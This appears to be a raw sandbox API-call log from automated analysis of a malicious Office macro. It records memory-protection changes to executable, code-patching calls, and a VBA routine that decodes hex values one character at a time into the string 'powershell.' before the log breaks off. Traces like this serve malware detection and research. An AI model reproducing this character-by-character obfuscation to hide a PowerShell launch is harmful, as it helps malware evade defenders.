GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278098, dwSize=0x93) returned 1 [0037.468] VirtualProtect (in: lpAddress=0x8278098, dwSize=0x94, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278279, dwSize=0x8) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278278, dwSize=0x8) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278288, dwSize=0x2) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82782dc, dwSize=0x57) returned 1 [0037.468] VirtualProtect (in: lpAddress=0x82782dc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278369, dwSize=0x8) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278368, dwSize=0x8) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278378, dwSize=0x2) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827843c, dwSize=0x45) returned 1 [0037.468] VirtualProtect (in: lpAddress=0x827843c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82784c4, dwSize=0x45) returned 1 [0037.468] VirtualProtect (in: lpAddress=0x82784c4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278541, dwSize=0x8) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278540, dwSize=0x8) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278550, dwSize=0x2) returned 1 [0037.468] GetCurrentProcess () returned 0xffffffffffffffff [0037.468] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82785a4, dwSize=0x55) returned 1 [0037.469] VirtualProtect (in: lpAddress=0x82785a4, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278681, dwSize=0x8) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278680, dwSize=0x8) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278690, dwSize=0x2) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82786e4, dwSize=0x55) returned 1 [0037.469] VirtualProtect (in: lpAddress=0x82786e4, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278771, dwSize=0x8) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278770, dwSize=0x8) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278780, dwSize=0x2) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82787d8, dwSize=0x5d) returned 1 [0037.469] VirtualProtect (in: lpAddress=0x82787d8, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x264e5c | out: lpflOldProtect=0x264e5c*=0x40) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827990c, dwSize=0x4c) returned 1 [0037.469] RtlLookupFunctionEntry (in: ControlPc=0x827990c, ImageBase=0x264d48, HistoryTable=0x264d50 | out: ImageBase=0x264d48, HistoryTable=0x264d50) returned 0x0 [0037.469] VirtualProtect (in: lpAddress=0x827990c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x264e4c | out: lpflOldProtect=0x264e4c*=0x40) returned 1 [0037.469] RtlAddFunctionTable (FunctionTable=0x8279968, EntryCount=0x1, BaseAddress=0x8279800, TargetGp=0x264e4c) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82799ac, dwSize=0x4c) returned 1 [0037.469] RtlLookupFunctionEntry (in: ControlPc=0x82799ac, ImageBase=0x264d48, HistoryTable=0x264d50 | out: ImageBase=0x264d48, HistoryTable=0x264d50) returned 0x0 [0037.469] VirtualProtect (in: lpAddress=0x82799ac, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x264e4c | out: lpflOldProtect=0x264e4c*=0x40) returned 1 [0037.469] RtlAddFunctionTable (FunctionTable=0x8279a08, EntryCount=0x1, BaseAddress=0x8279900, TargetGp=0x264e4c) returned 1 [0037.469] GetCurrentProcess () returned 0xffffffffffffffff [0037.469] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8279a64, dwSize=0x54) returned 1 [0037.469] RtlLookupFunctionEntry (in: ControlPc=0x8279a64, ImageBase=0x264d48, HistoryTable=0x264d50 | out: ImageBase=0x264d48, HistoryTable=0x264d50) returned 0x0 [0037.469] VirtualProtect (in: lpAddress=0x8279a64, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264e4c | out: lpflOldProtect=0x264e4c*=0x40) returned 1 [0037.470] RtlAddFunctionTable (FunctionTable=0x8279ac8, EntryCount=0x1, BaseAddress=0x8279a00, TargetGp=0x264e4c) returned 1 [0037.470] GetCurrentProcess () returned 0xffffffffffffffff [0037.470] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8279b5c, dwSize=0x4c) returned 1 [0037.470] RtlLookupFunctionEntry (in: ControlPc=0x8279b5c, ImageBase=0x264d48, HistoryTable=0x264d50 | out: ImageBase=0x264d48, HistoryTable=0x264d50) returned 0x0 [0037.470] VirtualProtect (in: lpAddress=0x8279b5c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x264e4c | out: lpflOldProtect=0x264e4c*=0x40) returned 1 [0037.470] RtlAddFunctionTable (FunctionTable=0x8279bb8, EntryCount=0x1, BaseAddress=0x8279b00, TargetGp=0x264e4c) returned 1 [0037.470] IUnknown:AddRef (This=0x8087e90) returned 0x9 [0037.470] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.470] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.470] IUnknown:Release (This=0x8087e90) returned 0x8 [0037.470] IUnknown:AddRef (This=0x81ddbb8) returned 0x3 [0037.470] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.470] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.470] IUnknown:Release (This=0x81ddbb8) returned 0x2 [0037.470] IUnknown:AddRef (This=0x81de138) returned 0x5 [0037.470] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.470] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.470] IUnknown:Release (This=0x81de138) returned 0x4 [0037.470] IUnknown:AddRef (This=0x81de190) returned 0x3 [0037.470] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.470] IUnknown:QueryInterface (in: This=0x81de190, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.470] IUnknown:Release (This=0x81de190) returned 0x2 [0037.470] IUnknown:AddRef (This=0x8087c28) returned 0x4 [0037.470] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.470] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.470] IUnknown:Release (This=0x8087c28) returned 0x3 [0037.470] IUnknown:AddRef (This=0x8087cd8) returned 0x4 [0037.470] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.470] IUnknown:QueryInterface (in: This=0x8087cd8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.470] IUnknown:Release (This=0x8087cd8) returned 0x3 [0037.470] IUnknown:AddRef (This=0x8087de0) returned 0x6 [0037.470] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.470] IUnknown:QueryInterface (in: This=0x8087de0, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.470] IUnknown:Release (This=0x8087de0) returned 0x5 [0037.470] IUnknown:AddRef (This=0x8090398) returned 0x5 [0037.470] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.470] IUnknown:QueryInterface (in: This=0x8090398, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.470] IUnknown:Release (This=0x8090398) returned 0x4 [0037.470] IUnknown:AddRef (This=0x8090448) returned 0x5 [0037.470] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266218 | out: ppvObject=0x266218*=0x0) returned 0x80004002 [0037.471] IUnknown:QueryInterface (in: This=0x8090448, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266210 | out: ppvObject=0x266210*=0x0) returned 0x80004002 [0037.471] IUnknown:Release (This=0x8090448) returned 0x4 [0037.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a88, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.497] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.497] VarBstrCat (in: bstrLeft="&H", bstrRight="AC", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] VarParseNumFromStr (in: strIn="&HAC", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.498] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.498] VarBstrCat (in: bstrLeft=0x0, bstrRight="p", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.498] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] VarBstrCat (in: bstrLeft="&H", bstrRight="AB", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] VarParseNumFromStr (in: strIn="&HAB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.498] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.498] VarBstrCat (in: bstrLeft="p", bstrRight="o", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.498] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] VarBstrCat (in: bstrLeft="&H", bstrRight="B3", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] VarParseNumFromStr (in: strIn="&HB3", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.498] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.498] VarBstrCat (in: bstrLeft="po", bstrRight="w", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.498] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] VarBstrCat (in: bstrLeft="&H", bstrRight="A1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.498] VarParseNumFromStr (in: strIn="&HA1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.499] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.499] VarBstrCat (in: bstrLeft="pow", bstrRight="e", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.499] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] VarBstrCat (in: bstrLeft="&H", bstrRight="AE", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] VarParseNumFromStr (in: strIn="&HAE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.499] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.499] VarBstrCat (in: bstrLeft="powe", bstrRight="r", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c93e8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.499] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] VarBstrCat (in: bstrLeft="&H", bstrRight="AF", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] VarParseNumFromStr (in: strIn="&HAF", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.499] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.499] VarBstrCat (in: bstrLeft="power", bstrRight="s", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c9418, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c93e8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.499] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] VarBstrCat (in: bstrLeft="&H", bstrRight="A4", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.499] VarParseNumFromStr (in: strIn="&HA4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.499] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.500] VarBstrCat (in: bstrLeft="powers", bstrRight="h", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c93b8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c9418, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.500] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] VarBstrCat (in: bstrLeft="&H", bstrRight="A1", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] VarParseNumFromStr (in: strIn="&HA1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.500] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.500] VarBstrCat (in: bstrLeft="powersh", bstrRight="e", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c9328, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c93b8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.500] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.500] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.500] VarBstrCat (in: bstrLeft="powershe", bstrRight="l", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8c38, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c9328, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.500] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.500] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.500] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.500] VarBstrCat (in: bstrLeft="powershel", bstrRight="l", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8ba8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8c38, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.501] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] VarBstrCat (in: bstrLeft="&H", bstrRight="6A", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] VarParseNumFromStr (in: strIn="&H6A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x266358, rgbDig=0x266370 | out: pnumprs=0x266358, rgbDig=0x266370) returned 0x0 [0037.501] VarNumFromParseNum (in: pnumprs=0x266358, rgbDig=0x266370, dwVtBits=0x8, pvar=0x2663e0 | out: pvar=0x2663e0) returned 0x0 [0037.501] VarBstrCat (in: bstrLeft="powershell", bstrRight=".", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 [0037.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663e0, cbMultiByte=1, lpWideCharStr=0x81c8ba8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.501] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266400 | out: pbstrResult=0x266400) returned 0x0 